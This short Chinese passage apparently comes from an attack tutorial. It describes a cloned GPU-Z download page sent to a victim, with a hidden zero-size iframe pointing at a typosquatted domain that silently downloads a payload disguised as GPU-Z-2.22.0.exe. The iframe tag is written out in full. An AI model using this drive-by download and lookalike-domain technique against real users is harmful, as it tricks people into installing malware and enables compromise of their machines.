这是要发送给用户的网址。用户访问该网址后,将看到克隆的 GPU-Z 页面,浏览器会自动下载我们的有效载荷,文件名为 GPU-Z-2.22.0.exe 。

其工作原理是在克隆页面中嵌入一个隐藏的 iframe,其中源是托管文件的 URL:
<IFRAME SRC="http://www.bleepincomputer.com:80/dl/windows/utilities/system-information/g/gpu-z/GPU-Z.2.22.0.exe?id=null" WIDTH="0" HEIGHT="0"></IFRAME>

浙公网安备 33010602011771号